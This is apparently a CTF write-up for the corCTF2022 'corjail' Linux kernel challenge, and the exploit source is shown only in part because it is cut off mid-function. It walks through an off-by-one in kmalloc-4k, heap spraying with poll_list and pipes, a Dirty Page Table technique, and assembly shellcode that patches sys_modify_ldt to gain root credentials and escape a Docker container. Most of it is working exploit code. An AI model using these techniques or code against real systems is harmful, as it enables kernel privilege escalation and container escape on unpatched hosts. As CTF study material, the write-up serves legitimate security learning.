CTF on Uniguri's Blog

화햇콘 용사부 1등

Wed, 26 Nov 2025 10:33:45 +0000

오예스

corCTF2022 corjail

Sun, 06 Apr 2025 12:18:08 +0000

Problem

Environment

linux version: 5.10.127
- CONFIG_SLUB_DEBUG=y
- CONFIG_SLUB=y
- CONFIG_SLAB_FREELIST_RANDOM=y
- CONFIG_SLAB_FREELIST_HARDENED=y

Simple description

The goal of this challenge is escaping docker with seccomp-ed environment by using off-by-one in kmalloc-4k. The seccomp prohibits us to use struct msg_msg and struct msg_msgseg.

So, we need to find new structure which makes us exploit off-by-one. And after making RIP control (ROP, or something…), we have to LPE and Escaping docker.

Module

The module is simple: just prints the count of each syscall called and makes us to filter which syscall’s call count will be counted. It utilizes Syscall statistics patch based on https://lwn.net/Articles/896474/ (check out build/build_kernel.sh).

I think this function is only one we must read:

c corCTF2022-corjail-cormon_proc_write.c

      int64_t cormon_proc_write(struct file *file, const char *src, size_t size,
                          loff_t *ppos) {
  size_t v5;       // rbp
  const char *v7;  // rbx

  if (*ppos < 0) return -22LL;
  if (size == 0 || (unsigned __int64)*ppos > 0xFFF) return 0LL;
  if (size > 0x1000)
    v5 = 4095LL;
  else
    v5 = size;
  v7 = (const char *)kmem_cache_alloc_trace(
      kmalloc_caches[12], 2592LL,
      4096LL);  // SLAB_CACHE = kmalloc-4096 (0x800 < size <= 0x1000)
  printk(&unk_578, v7);
  if (v7) {
    _check_object_size(v7, v5, 0LL);
    if (copy_from_user(v7, src, v5)) {
      printk(&unk_5D0, src);
      return -14LL;
    } else {
      v7[v5] = 0;  // off-by-one when size=0x1000 -> v5=0x1000
      if ((unsigned int)update_filter(v7)) {
        kfree(v7);
        return -22LL;
      } else {
        kfree(v7);
        return size;
      }
    }
  } else {
    printk(&unk_5A0, 0LL);
    return -12LL;
  }
}

Vulnerability

As I wrote on above pseudocode, the vulnerability (off-by-one) is occurs at v7[v5] = 0;. Okay.. the off-by-one in kmalloc-4k is all of this challenge…

Exploit

Haha… okay… how we can exploit off-by-one in kmalloc-4k without struct msg_msg…? I tried 3 approaches and I solve it with last approach as a result (I think first one was too complex and second one does not works..).

First approach (using `struct poll_list`)

Finding victim object

My first approach is exploit structure with first member is struct ??? *next or refcount like atomic_t ???_count, atomic_long_t ???_count, or etc. If the structure has next pointer, we can make UAF by releaseing the object and this is also same if it has recount.

So I try finding these objects using CodeQL.

c corCTF2022-corjail-codeql_finding_target_struct.sql

      import cpp
from Field f, Type ty, PointerType p, FunctionCall call
where
    (
        call.getTarget().getName() = "kmalloc" or
        call.getTarget().getName() = "kzalloc" 
    ) and
    call.getActualType() = p and
    p.refersTo(ty) and
    f.getByteOffset() = 0 and
    f.getDeclaringType() = ty and
    (
        f.getType().getName() = "list_head" or 
        f.getName().matches("%count%") or
        f.getType().refersToDirectly(ty)
    ) and
    (
        (
            call.getArgument(0).getValue().toInt() > 2048 and
            call.getArgument(0).getValue().toInt() <= 4096
        ) or
        not call.getArgument(0).isConstant()
    )
select ty.getName(), 
    ty.getLocation().toString(), 
    call.getLocation().toString()

And the result is following:

c corCTF2022-corjail-codeql_finding_target_struct_result.txt

      |          col0           |                          col1                           |                        col2                         |
+-------------------------+---------------------------------------------------------+-----------------------------------------------------+
| workqueue_struct        | kernel/workqueue.c:239:8:239:23                         | kernel/workqueue.c:4288:7:4288:13                   |
| posix_acl               | include/linux/posix_acl.h:27:8:27:16                    | fs/posix_acl.c:181:26:181:32                        |
| msg_msg                 | include/linux/msg.h:9:8:9:14                            | ipc/msgutil.c:53:8:53:14                            |
| sem_undo                | ipc/sem.c:146:8:146:15                                  | ipc/sem.c:1940:8:1940:14                            |
| list_head               | include/linux/types.h:178:8:178:16                      | fs/dcookies.c:236:22:236:28                         |
| list_head               | tools/include/linux/types.h:69:8:69:16                  | fs/dcookies.c:236:22:236:28                         |
| perf_buffer             | kernel/events/internal.h:13:8:13:18                     | kernel/events/ring_buffer.c:815:7:815:13            |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:271:16:271:22                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:308:14:308:20                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:352:15:352:21                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/vmbus_drv.c:2473:12:2473:18              |
| blk_plug_cb             | include/linux/blkdev.h:1262:8:1262:18                   | block/blk-core.c:1743:7:1743:13                     |
| audit_tree              | kernel/audit_tree.c:13:8:13:17                          | kernel/audit_tree.c:97:9:97:15                      |
| apertures_struct        | include/linux/fb.h:495:9:495:24                         | include/linux/fb.h:509:6:509:12                     |
| Scsi_Host               | include/scsi/scsi_host.h:524:8:524:16                   | drivers/scsi/hosts.c:386:10:386:16                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:453:13:453:19                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:406:6:406:12                   |
| netdev_hw_addr          | include/linux/netdevice.h:209:8:209:21                  | net/core/dev_addr_lists.c:30:7:30:13                |
| cpu_rmap                | include/linux/cpu_rmap.h:24:8:24:15                     | lib/cpu_rmap.c:39:9:39:15                           |
| poll_list               | fs/select.c:839:8:839:16                                | fs/select.c:1005:23:1005:29                         |
| hpets                   | drivers/char/hpet.c:104:8:104:12                        | drivers/char/hpet.c:858:10:858:16                   |
| resource_entry          | include/linux/resource_ext.h:23:8:23:21                 | kernel/resource.c:1701:10:1701:16                   |
| journal_replay          | drivers/md/bcache/journal.h:83:8:83:21                  | drivers/md/bcache/journal.c:150:8:150:14            |
| md_rdev                 | drivers/md/md.h:48:8:48:14                              | drivers/md/raid0.c:149:18:149:24                    |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2266:7:2266:13  |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2231:7:2231:13  |
| iscsi_bus_flash_conn    | include/scsi/scsi_transport_iscsi.h:318:8:318:27        | drivers/scsi/scsi_transport_iscsi.c:1286:15:1286:21 |
| iscsi_bus_flash_session | include/scsi/scsi_transport_iscsi.h:363:8:363:30        | drivers/scsi/scsi_transport_iscsi.c:1237:15:1237:21 |
| iscsi_cls_conn          | include/scsi/scsi_transport_iscsi.h:202:8:202:21        | drivers/scsi/scsi_transport_iscsi.c:2401:9:2401:15  |
| iscsi_cls_session       | include/scsi/scsi_transport_iscsi.h:241:8:241:24        | drivers/scsi/scsi_transport_iscsi.c:2040:12:2040:18 |
| tcmu_tmr                | drivers/target/target_core_user.c:192:8:192:15          | drivers/target/target_core_user.c:1270:8:1270:14    |
| ext4_xattr_inode_array  | fs/ext4/xattr.h:119:8:119:29                            | fs/ext4/xattr.c:2822:15:2822:21                     |
| fscache_cache_tag       | include/linux/fscache-cache.h:43:8:43:24                | fs/fscache/cache.c:41:9:41:15                       |
| mr_table                | include/linux/mroute_base.h:241:8:241:15                | net/ipv4/ipmr_base.c:41:8:41:14                     |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:1714:23:1714:29                |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:737:6:737:12                   |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:544:11:544:17                  |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:60:6:60:12                     |
| msg_msgseg              | ipc/msgutil.c:37:8:37:17                                | ipc/msgutil.c:68:9:68:15                            |
| audit_chunk             | kernel/audit_tree.c:25:8:25:18                          | kernel/audit_tree.c:193:10:193:16                   |
| kprobe_insn_page        | kernel/kprobes.c:90:8:90:23                             | kernel/kprobes.c:172:8:172:14                       |
| kmalloced_param         | kernel/params.c:39:8:39:22                              | kernel/params.c:50:6:50:12                          |
| nested_table            | lib/rhashtable.c:32:7:32:18                             | lib/rhashtable.c:133:9:133:15                       |
| nf_queue_entry          | include/net/netfilter/nf_queue.h:12:8:12:21             | net/netfilter/nf_queue.c:204:10:204:16              |
| tls_rec                 | include/net/tls.h:99:8:99:14                            | net/tls/tls_sw.c:337:8:337:14                       |
| nh_group                | include/net/nexthop.h:75:8:75:15                        | net/ipv4/nexthop.c:138:8:138:14                     |
| ctnl_timeout            | include/net/netfilter/nf_conntrack_timeout.h:20:8:20:19 | net/netfilter/nfnetlink_cttimeout.c:133:12:133:18   |
| recent_entry            | net/netfilter/xt_recent.c:66:8:66:19                    | net/netfilter/xt_recent.c:191:6:191:12              |
| counted_str             | security/apparmor/include/lib.h:93:8:93:18              | security/apparmor/lib.c:139:8:139:14                |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1404:9:1406:38           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:813:9:816:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:825:9:829:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/label.c:428:8:428:14              |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1117:8:1119:37           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:895:9:897:25             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/mount.c:707:11:709:27             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1691:12:1691:18             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1611:11:1611:17             |
| ima_rule_opt_list       | security/integrity/ima/ima_policy.c:63:8:63:24          | security/integrity/ima/ima_policy.c:288:13:288:19   |

I look up these structures and struct poll_list is useful. Because it has struct poll_list *next at offset 0, it is allocated by poll system call, and its size is provided by user.

How to spray poll?

I want to spray struct poll_list in kmalloc-4k. Therefore I can allocate it and release it when I want. But since the poll originally block the user program, we allocate it on other thread (actually we need to allocate it on other process).

I tried it using pthread_create but the thread is not created. So I decide to use clone

c corCTF2022-corjail-spray_poll.c

      int create_poll(void *timeout_ms) {
  pin_to_core(0);
  const int timeout = (int)(int64_t)timeout_ms;
  const int size = (256 - 16) / 8 + (0x1000 - 16) / 8;
  struct pollfd *fds = malloc(size * sizeof(struct pollfd));
  for (int i = 0; i < size; i++) {
    fds[i].fd = 0xdead0000 + i;
    fds[i].events = POLLIN;
  }
  poll(fds, size, timeout);
  free(fds);
}

#define CLONE_STACK_HEAP_ALLOC_COUNT 1024 * 1024
int create_poll_via_clone(int timeout_ms) {
  char child_stack[CLONE_STACK_HEAP_ALLOC_COUNT];
  int pid = clone(create_poll, child_stack, CLONE_VM | SIGCHLD,
                  (void *)(int64_t)timeout_ms);
  return pid;
}

SLUBStick

Now I can spray struct poll_list and trigger off-by-one. But as you know, we cannot ensure off-by-one will corrupt struct poll_list’s struct poll_list *next.

I decide to use SLUBStick for gathering struct poll_lists in one (or consecutive) slab cache. Originally SLUBStic is for a cross-cache attack and cross-cache attack requires that target objects must be in one slab cache.

By using SLUBStick we can spray struct poll_lists on one (or consecutive) slab cache. And so off-by-one will be corrupt its next with high stability.

Find another approace

At this time, I think how I can exploit using struct poll_list. My plain was following:

Spray struct poll_list with its next is in kmalloc-8, kmalloc-16, kmalloc-32, kmalloc-64, kmalloc-128, kmalloc-192 (let me call it target cache from now on)
Trigger off-by-one and make UAF in target cache
Leak kernel base to bypass KASLR using object in target cache
Do Cross-Cache attack on target cache and make UAF in kmalloc-1k (for using struct tty_struct)
Do ROP using struct user_key_payload or other objects

Hmm… This require cross-cache attack and its stability is low as we know. That’s why I try another approach.

PS. the author’s write-up might do similar thing without cross-cache. Leak address of struct tty_struct using struct tty_file_private and make UAF on that struct tty_struct. And do ROP.

Second approach (using PageJack)

After searching methods which can exploit off-by-one, I found PageJack. It does not require bypass KASLR, corss-cache, and ETC and only require the off-by-one (or OOB write).

WoW.. I tried it immediately…. But it does not works…. WHY?!?!

Why PageJack does not work?

PageJack utilize struct page *page of struct pipe_buffer. With off-by-one (or OOB write) we can overwrite least significant byte of page and make physical page level UAF as a result.

After page level UAF, spraying struct file will make the UAF page filp cache (the filp cache uses only one page). The struct files allocated on new filp cache (it’s UAF page) and we have write primitive on it via pipe. We can modify fmode_t f_mode of struct file via pipe as a result.

Everything is okay except the const struct file_operations *f_op. The write process is following:

    flowchart TD
	    sys_write[sys_write] --> ksys_write
	    ksys_write[ksys_write] --> vfs_write
	    vfs_write[vfs_write] --> write[file->f_op->write]
	    vfs_write[vfs_write] --> new_sync_write[new_sync_write]
	    new_sync_write[new_sync_write] --> write_iter[file->f_op->write_iter]
	
	    click sys_write "https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L667"
	    click ksys_write "https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L647"
	    click vfs_write "https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L585"
	    click new_sync_write "https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L507"
	    click call_write_iter "https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/fs.h#L1900"

Unlike host environment, in docker container f_op is ovl_file_operations. So, when call file->f_op->write or file->f_op->write_iter, the called function is not same as host and the f_mode is checked again in ovl_write_iter (check it yourself!).

PS. the pew challenge of CodeGate 2025 Qual is solved easily by PageJack PoC (we need to modify the poc very very little).

Last approach (using `struct pipe_buffer` and Dirty Page Table)

We cannot use PageJack but we can get physical page level UAF by using it partially. So, then, we can use Dirty Page Table.

UAF page to PTE page

We can spray PTEs via mmap and cause page fault by write to each memory. But I tried like below I failed to allocate PTEs on UAF page.

for (int i = 0; i < MMAP_SPRAY_COUNT; ++i) {
  mmap_addrs[i] = mmap((void *)(MMAP_SPRAT_START_ADDR + i * MMAP_SPRAT_STEP),
                        MMAP_SPRAT_SIZE, PROT_READ | PROT_WRITE,
                        MAP_ANONYMOUS | MAP_SHARED, -1, 0);
  if (mmap_addrs[i] == MAP_FAILED) {
    fatal("mmap");
  }
}
sched_yield();
close_pipe_at(victim_pipe_fds[1]); // Make UAF page
for (int i = 0; i < MMAP_SPRAY_COUNT; ++i) {
  for (int j = 0; j < MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
    uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
    const uint64_t val = ((uint64_t)i << 32) + j * 0x01010101;
    *addr = val;
  }
}

Why this does not work..?? I don’t know but the below code works…

for (int i = 0; i < MMAP_SPRAY_COUNT; ++i) {
  mmap_addrs[i] = mmap((void *)(MMAP_SPRAT_START_ADDR + i * MMAP_SPRAT_STEP),
                        MMAP_SPRAT_SIZE, PROT_READ | PROT_WRITE,
                        MAP_ANONYMOUS | MAP_SHARED, -1, 0);
  if (mmap_addrs[i] == MAP_FAILED) {
    fatal("mmap");
  }
}
sched_yield();
close_pipe_at(victim_pipe_fds[1]);  // Make UAF page
for (int i = 0; i < FILE_SPRAY_COUNT; ++i) {
  file_fds[i] = open("/", O_RDONLY);
  if (file_fds[i] < 0) {
    fatal("open");
  }
}
for (int i = 0; i < FILE_SPRAY_COUNT; ++i) {
  close(file_fds[i]);
}
for (int i = 0; i < MMAP_SPRAY_COUNT; ++i) {
  for (int j = 0; j < MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
    uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
    const uint64_t val = ((uint64_t)i << 32) + j * 0x01010101;
    *addr = val;
  }
}

Any way using above code, we can modify PTEs for mmaped memory via pipe.

Leak physical kernel base

Each PTE has its own flags and PFN(Page Frame Number; it’s just <physical address> >> 12). And thus we can arbitrary read and write physical memory with modified PTE.

So our approach is patch kernel code to escape docker and We need to know physical kernel base address for that. The linux loads kernel at different physical memory. But there is a way to leak it: dmabuf at PA:0x9c000 (I don’t know what is it and why there is it..). The physical kernel base will be *( *(uint64_t*)(PA:0x9c000)&(~0xfff) - 0x2004000ULL).

PS. If KASLR is disabled, physical kernel base will be *( *(uint64_t*)(PA:0x9c000)&(~0xfff) - 0x2001000ULL).

Patch sys_modify_ldt

Now we can patch kernel’s code. So I patch modify_ldt syscall and call it.

The patched modify_ldt will be follwoing:

c corCTF2022-corjail-escape_docker.asm

      // Compiled using https://defuse.ca/online-x86-assembler.htm
// We need `endbr64` if CFI is enabled (check out https://en.wikipedia.org/wiki/Control-flow_integrity and https://en.wikipedia.org/wiki/Indirect_branch_tracking)
call get_rip;
get_rip:
  pop r15;
  sub r15, 0x252f0; // &__x64_sys_modify_ldt - kbase == 0x252f0
  sub r15, 5; // call get_rip; takes 5 bytes

  // call commit_creds(&init_cred);
  lea rdi, [r15 + 0x145a960]; // &init_cred - kbase == 0x145a960
  lea rax, [r15 + 0xeba40]; // &commit_creds - kbase == 0xeba40
  call rax;

  // task = find_task_by_vpid(1);
  // call switch_task_namespaces(task, &init_nsproxy);
  mov rdi, 1;
  lea rax, [r15 + 0xe4fc0]; // &find_task_by_vpid - kbase == 0xe4fc0
  call rax; // find_task_by_vpid(1)
  mov rdi, rax; // task
  lea rsi, [r15 + 0x145a720]; // &init_nsproxy - kbase == 0x145a720
  lea rax, [r15 + 0xea4e0]; // &switch_task_namespaces - kbase == 0xea4e0
  call rax; // switch_task_namespaces(task, &init_nsproxy);

  // current = find_task_by_vpid(pid);
  // current->fs = copy_fs_struct(&init_fs);
  lea rdi, [r15 + 0x1589740]; // &init_fs - kbase == 0x1589740
  lea rax, [r15 + 0x2e7350]; // &copy_fs_struct - kbase == 0x2e7350
  call rax; // copy_fs_struct(&init_fs);
  mov rbx, rax; // new_fs
  mov rdi, 0x1111111111111111; // pid: will be fiexed
  lea rax, [r15 + 0xe4fc0]; // &find_task_by_vpid - kbase == 0xe4fc0
  call rax; // current = find_task_by_vpid(pid)
  mov [rax + 0x6e0], rbx; // current->fs = new_fs

  // bypass kpti
  xor rax, rax;
  mov [rsp + 0x00], rax;
  mov [rsp + 0x08], rax;
  mov rax, 0x2222222222222222; // user_ip: will be fixed
  mov [rsp + 0x10], rax;
  mov rax, 0x3333333333333333; // user_cs: will be fixed
  mov [rsp + 0x18], rax;
  mov rax, 0x4444444444444444; // user_rflags: will be fixed
  mov [rsp + 0x20], rax;
  mov rax, 0x5555555555555555; // user_sp: will be fixed
  mov [rsp + 0x28], rax;
  mov rax, 0x6666666666666666; // user_ss: will be fixed
  mov [rsp + 0x30], rax;
  lea rax, [r15 + 0xc00f06]; // bypass_kpti - kbase == 0xc00f06; bypass_kpti is in swapgs_restore_regs_and_return_to_usermode
  jmp rax; // bypass_kpti

Exploit code

c corCTF2022-corjail-exploit.c

      #define _GNU_SOURCE
#include <fcntl.h>
#include <linux/keyctl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) >= KERNEL_BASE_START && (addr) < KERNEL_BASE_END)

#define _PAGE_PRESENT (1ULL << 0)  // Page is present in memory
#define _PAGE_RW (1ULL << 1)       // Read/Write permission (1: writable)
#define _PAGE_USER (1ULL << 2)     // User/Supervisor mode (1: user-accessible)
#define _PAGE_PWT (1ULL << 3)  // Page Write-Through (1: write-through enabled)
#define _PAGE_PCD (1ULL << 4)  // Page Cache Disable (1: caching disabled)
#define _PAGE_ACCESSED (1ULL << 5)  // Accessed bit (1: page has been accessed)
#define _PAGE_DIRTY (1ULL << 6)     // Dirty bit (1: page has been modified)
#define _PAGE_PSE \
  (1ULL << 7)  // Page Size Extension (1: 2MB/1GB page, 0: 4KB page)
#define _PAGE_GLOBAL \
  (1ULL << 8)  // Global page (1: remains in TLB across context switches)
#define _PAGE_NX (1ULL << 63)  // No-Execute bit (1: execution is prohibited)

#define PTE_FLAGS_MASK \
  0xFFF0000000000FFFULL  // Mask to extract the lower 12-bit flag field
#define PTE_PFN_MASK \
  (~PTE_FLAGS_MASK)  // Mask to extract the PFN (Page Frame Number)

// Macro to extract the PFN from a PTE
#define PTE_TO_PFN(pte) (((pte) & PTE_PFN_MASK) >> PAGE_SHIFT)

#define PAGE_DEFAULT_FLAGS \
  (_PAGE_PRESENT | _PAGE_RW | _PAGE_USER | _PAGE_ACCESSED)

// Cache utils from https://github.com/isec-tugraz/SLUBStick
#ifndef HIDEMINMAX
#define MAX(X, Y) (((X) > (Y)) ? (X) : (Y))
#define MIN(X, Y) (((X) < (Y)) ? (X) : (Y))
#endif

static size_t rdtsc(void);
static inline size_t rdtsc_nofence(void) {
  return rdtsc();
  size_t a, d;
  asm volatile("rdtsc" : "=a"(a), "=d"(d));
  a = (d << 32) | a;
  return a;
}

static inline size_t rdtsc(void) {
  size_t a, d;
  asm volatile("mfence");
  asm volatile("rdtsc" : "=a"(a), "=d"(d));
  a = (d << 32) | a;
  asm volatile("mfence");
  return a;
}

static inline size_t rdtsc_begin(void) {
  size_t a, d;
  asm volatile("mfence");
  asm volatile("rdtsc" : "=a"(a), "=d"(d));
  a = (d << 32) | a;
  asm volatile("lfence");
  return a;
}

static inline size_t rdtsc_end(void) {
  size_t a, d;
  asm volatile("lfence");
  asm volatile("rdtsc" : "=a"(a), "=d"(d));
  a = (d << 32) | a;
  asm volatile("mfence");
  return a;
}

void pin_to_core(size_t core);

static void get_enter_to_continue(const char *msg);
static void fatal(const char *msg);

void pin_to_core(size_t core) {
  cpu_set_t target_cpu;

  CPU_ZERO(&target_cpu);
  CPU_SET(core, &target_cpu);

  if (sched_setaffinity(0, sizeof(cpu_set_t), &target_cpu)) {
    fatal("sched_setaffinity");
  }
}

static void get_enter_to_continue(const char *msg) {
  puts(msg);
  getchar();
}
static void fatal(const char *msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

/**
 * type must be "keyring", "user", "logon", or "big_key"
 */
static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid);
static int32_t sys_keyctl(int cmd, ...);
static int32_t sys_revoke_key(int32_t key);
static int32_t sys_update_key(int32_t key, void *payload, size_t size);
static int32_t sys_read_key(int32_t key, char *buf, size_t size);

static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid) {
  return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static int32_t sys_keyctl(int cmd, ...) {
  va_list ap;
  long arg2, arg3, arg4, arg5;
  va_start(ap, cmd);
  arg2 = va_arg(ap, long);
  arg3 = va_arg(ap, long);
  arg4 = va_arg(ap, long);
  arg5 = va_arg(ap, long);
  va_end(ap);
  return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static int32_t sys_revoke_key(int32_t key) {
  return sys_keyctl(KEYCTL_REVOKE, key);
}
static int32_t sys_read_key(int32_t key, char *buf, size_t size) {
  return sys_keyctl(KEYCTL_READ, key, buf, size);
}
static int32_t sys_update_key(int32_t key, void *payload, size_t size) {
  return sys_keyctl(KEYCTL_UPDATE, key, payload, size);
}

int vuln_fd;
static void off_by_one_in_kmalloc_4k(void);

static void off_by_one_in_kmalloc_4k(void) {
  char buf[0x1000];
  memset(buf, 0, 0x1000);
  write(vuln_fd, buf, 0x1000);
}

#define HEAP_ALLOC_COUNT 1000
int pipe_fds[HEAP_ALLOC_COUNT][2];
int alloc_4k_pipe_at(uint64_t idx) {
  const size_t pipe_size = 0x1000 * 64;
  int *fds = pipe_fds[idx];
  int res = pipe(fds);
  res |= (fcntl(fds[1], F_SETPIPE_SZ, pipe_size) < 0);

  char *uniguri = "UNIGURI@";
  const uint64_t pipe_magic = 0xdeadbeef00000000 + idx;
  write(fds[1], uniguri, 8);
  write(fds[1], &pipe_magic, 8);

  return !res ? 0 : -1;
}

void close_pipe_at(size_t idx) {
  for (int i = 0; i < 2; ++i) {
    if (pipe_fds[idx][i] > 2) {
      close(pipe_fds[idx][i]);
      pipe_fds[idx][i] = -1;
    }
  }
}

size_t last_idx_in_slab[HEAP_ALLOC_COUNT];
int pipe_cnt = 0;
int make_kmalloc_4k_slab_full(const int slab_cnt) {
  pipe_cnt = 0;
  int add_key_res[HEAP_ALLOC_COUNT];
  size_t times[HEAP_ALLOC_COUNT] = {
      0,
  };
  const char type[] = "keyring";
  char desc[0x1000];
  memset(desc, '.', sizeof(desc));
  desc[sizeof(desc) - 1] = 0;

  size_t last = 0;
  memset(last_idx_in_slab, 0, sizeof(last_idx_in_slab));
  size_t running = 0;
  int finded = 0;
  for (int i = 0; i < HEAP_ALLOC_COUNT; ++i) {
    sched_yield();
    int pipe_res = alloc_4k_pipe_at(i);
    const size_t t1 = rdtsc_begin();
    sys_add_key(type, desc, NULL, 0, 0);
    const size_t t2 = rdtsc_end();
    times[i] = t2 - t1;
    if (pipe_res < 0) {
      break;
    }
    ++pipe_cnt;

    if (times[i] > 8000 && (i == 0 || times[i] - times[i - 1] > 1500)) {
      if (last == 0) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else if (i - last == 8) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else {
        last = 0;
        running = 0;
      }

      if (running == slab_cnt) {
        for (int j = 0; j < 8 && (i + j + 1 - last) % 8 != 0; ++j) {
          alloc_4k_pipe_at(i + j + 1);
          ++pipe_cnt;
        }
        finded = 1;
        break;
      }
    }
  }
  return finded ? 0 : -1;
}

size_t victim_pipe_fds[2];
int find_overlapped_pipes() {
  char buf[0x20];
  uint64_t *uint64_buf = (uint64_t *)buf;
  for (size_t i = 0; i < pipe_cnt; ++i) {
    read(pipe_fds[i][0], buf, 0x10);
    int is_ok = (memcmp(buf, "UNIGURI@", 8) == 0 &&
                 (uint64_buf[1] >> 32) == 0xdeadbeef);
    int is_corrupted = (uint64_buf[1] == 0xdeadbeef00000000 + i);
    if (is_ok && !is_corrupted) {
      victim_pipe_fds[0] = i;
      victim_pipe_fds[1] = uint64_buf[1] & 0xffffffff;
      return 0;
    }
    if (!is_ok) {
      return -1;
    }
  }

  return -1;
}

int test_overlapped_pipes() {
  char tmp[0x100];
  memset(tmp, 0, sizeof(tmp));
  const char *test_str = "UNIGURI!";
  const size_t test_str_len = strlen(test_str);
  printf("    [*] Test msg(len=0x%lx): \"%s\"\n", test_str_len, test_str);

  write(pipe_fds[victim_pipe_fds[1]][1], tmp, test_str_len);

  strncpy(tmp, test_str, sizeof(tmp));
  printf("    [*] Write \"%s\" to pipe@%lx\n", tmp, victim_pipe_fds[0]);
  write(pipe_fds[victim_pipe_fds[0]][1], tmp, test_str_len);

  memset(tmp, 0, sizeof(tmp));
  read(pipe_fds[victim_pipe_fds[1]][0], tmp, test_str_len);
  printf("    [*] Read \"%s\" from pipe@%lx\n", tmp, victim_pipe_fds[1]);

  const int successed = !memcmp(test_str, tmp, test_str_len) ? 0 : -1;
  read(pipe_fds[victim_pipe_fds[0]][0], tmp, test_str_len);
  return successed;
}

#define MMAP_SPRAY_COUNT 0x1000UL
#define FILE_SPRAY_COUNT (MMAP_SPRAY_COUNT / 0x10)
void *mmap_addrs[MMAP_SPRAY_COUNT];
#define MMAP_SPRAT_START_ADDR 0xcafe0000UL
#define MMAP_PAGE_SIZE 0x1000UL
#define MMAP_SPRAT_STEP 0x10000UL
#define MMAP_SPRAT_SIZE 0x10000UL
void spray_ptes_target_to_victim_pipe_page() {
  for (int i = 0; i < MMAP_SPRAY_COUNT; ++i) {
    mmap_addrs[i] = mmap((void *)(MMAP_SPRAT_START_ADDR + i * MMAP_SPRAT_STEP),
                         MMAP_SPRAT_SIZE, PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    if (mmap_addrs[i] == MAP_FAILED) {
      fatal("mmap");
    }
  }

  int file_fds[FILE_SPRAY_COUNT];

  sched_yield();
  close_pipe_at(victim_pipe_fds[1]);

  for (int i = 0; i < FILE_SPRAY_COUNT; ++i) {
    file_fds[i] = open("/", O_RDONLY);
    if (file_fds[i] < 0) {
      fatal("open");
    }
  }

  for (int i = 0; i < FILE_SPRAY_COUNT; ++i) {
    close(file_fds[i]);
  }

  for (int i = 0; i < MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j < MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i << 32) + j * 0x01010101;
      *addr = val;
    }
  }
}

void *corrupted_mmap_addr = (void *)-1;
void find_corrupted_mmap_addr() {
  if (corrupted_mmap_addr != (void *)-1) {
    return;
  }
  for (int i = 0; i < MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j < MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i << 32) + j * 0x01010101;
      if (*addr != val) {
        corrupted_mmap_addr = addr;
        return;
      }
    }
  }
}

uint64_t original_ptes[0x1000 / 8];
uint64_t physical_kernel_base;
uint64_t default_pte_for_kernel_code;

void *set_pte(uint64_t new_pte) {
  static uint64_t cur_offset = 0;
  if (cur_offset >= 0x1000 * 512) {
    fatal("set_pte: too many modifications");
  }
